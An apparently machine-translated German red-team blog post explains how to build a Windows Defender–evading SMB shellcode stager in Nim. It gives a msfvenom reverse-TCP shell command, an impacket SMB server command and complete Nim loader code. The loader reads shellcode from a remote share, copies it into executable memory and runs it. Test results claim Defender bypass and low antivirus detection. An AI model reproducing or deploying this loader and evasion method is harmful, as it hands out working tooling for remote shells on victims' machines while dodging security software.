SMB-Stager in Nim entwickeln
Hallo liebe Red Teamer. Ich habe vor kurzem angefangen, mich wegen anstößiger Codierung mit Nim in Verbindung zu setzen. Um ehrlich zu sein, finde ich es schwierig und seltsam, aber es FUNKTIONIERT!
Heute entwickeln wir einen einfachen SMB-Stager, der Windows Defender zum Zeitpunkt des Testens umgeht.
Wenn Sie lieber ein Video ansehen, anstatt zu lesen, finden Sie das vollständige Video hier:https://youtu.be/qq-S2syksL0
Wenn Sie auch daran interessiert sind, dem offenen Discord beizutreten, um Cybersec-Wissen und -Erfahrungen auszutauschen, fühlen Sie sich willkommen:https://discord.gg/dWCe5ZMvtQ
Lass uns gehen
Die Theorie ist ziemlich einfach, die Idee ist, das Schreiben des Shellcodes in die Datei zu vermeiden, die signaturbasierte Erkennung zu umgehen und gleichzeitig die Heuristik zu unterstützen. Ich habe zunächst versucht, den Shellcode mit HTTP herunterzuladen, bin aber auf viele Probleme gestoßen, die ich nicht selbst lösen konnte. Dann änderte sich die Methodik leicht. Anstatt sie von HTTP herunterzuladen, wird die Nutzlast auf einer SMB-Freigabe gehostet und direkt von dort gelesen.
Ich habe die stufenlose msfvenom-Nutzlast verwendet
msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f raw -o code.bin
impacket-smbserver smb . -ts -debug -smb2support
import winim/lean
var filename = "\\\\192.168.153.128\\smb\\code.bin"
var file: File = open(filename, fmRead)
var fileSize = file.getFileSize()
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close
echo shellcode
echo fileSize
echo sizeof(shellcode)
type
buf* = LPVOID
var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()
Das Wichtigste zuerst, wir müssen die Windows-Kernel-Bibliothek importieren, damit wir Windows-APIs aufrufen können:
import winim/lean
var filename = "\\\\192.168.153.128\\smb\\code.bin"
var file: File = open(filename, fmRead)
var fileSize = file.getFileSize()
var shellcode = newSeq[byte](fileSize)
discard file.readBytes(shellcode, 0, fileSize)
file.close
type
buf* = LPVOID
var rez = VirtualAlloc(nil, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(rez, shellcode[0].addr, fileSize)
let f = cast[proc(){.nimcall.}](rez)
f()
Testzeit!
Ich habe 2 Tests durchgeführt. Der erste ist gegen Windows 10 Client mit Defender UP und RUNNING. Die zweite ist gegen die antiscan.me-Schnittstelle.
Nim Stager gegen Windows Defender
Test 1 beginnt mit dem Ablegen des Stagers im Dateisystem. Bisher wird nichts ausgelöst, was bedeutet, dass wir die signaturbasierte Erkennung erfolgreich umgangen haben. Jetzt lass uns laufen und beobachten:
![](https://post.nghiatu.com/assets/images/m/max/724/1*g91Dx5kMbgNnsrjZPF0WtA.png)
Es stellte sich heraus, dass der Stager einwandfrei funktionierte, und das Seltsame hier ist, dass es Defender gelang, ausgelöst zu werden, aber dies tötete die Granate nicht:
![](https://post.nghiatu.com/assets/images/m/max/724/1*Q3HlMVli7MsTozJ6XejAdw.png)
Ich hatte diese Shell für ein paar Minuten laufen und sie war voll funktionsfähig. Ich persönlich habe keine Ahnung, warum der Verteidiger es nicht getötet hat. Wenn Sie die Antwort kennen, würde ich es begrüßen, sie zu teilen.
Nim Stager gegen Antiscanme
Verstehen Sie mich nicht falsch, Antiscanme ist großartig, aber beim Testen von Stagern haben sie keine Möglichkeit, gültige Ergebnisse zu präsentieren. Die Ergebnisse, die Sie sehen, basieren solide auf signaturbasierter Erkennung, da sie keine Netzwerkmöglichkeit haben, den eigentlichen Shellcode herunterzuladen. Ich gehe davon aus, dass mehr AV-Anbieter dies bei echten Tests erkennen werden, aber es ist ein guter „erster Schritt“.
Nach dem Hochladen des Stagers konnten ihn nur 4/26 Anbieter abfangen.
![](https://post.nghiatu.com/assets/images/m/max/724/1*OT-fpc2_o-a2-u7nF7Kzvw.png)
Ich glaube, dass der Auslöser darauf basiert, dass die Anbieter die Windows-API-Aufrufe lesen, und dies daher als bösartig werten. Um zu testen, was genau schief gelaufen ist, müsste ich natürlich viele, viele Tests durchführen. Das ist im Moment meine Theorie.
Fazit
Mit Nim zu spielen macht Spaß und die Ergebnisse, die wir erzielt haben, indem wir Dinge einfach inszeniert haben, sind erstaunlich. Natürlich gibt es viel fortschrittlichere AV-Bypass-Techniken, die wir durchführen können, aber das werden wir in Zukunft tun. Ich hoffe, Sie finden diesen Inhalt nützlich und haben etwas Neues gelernt.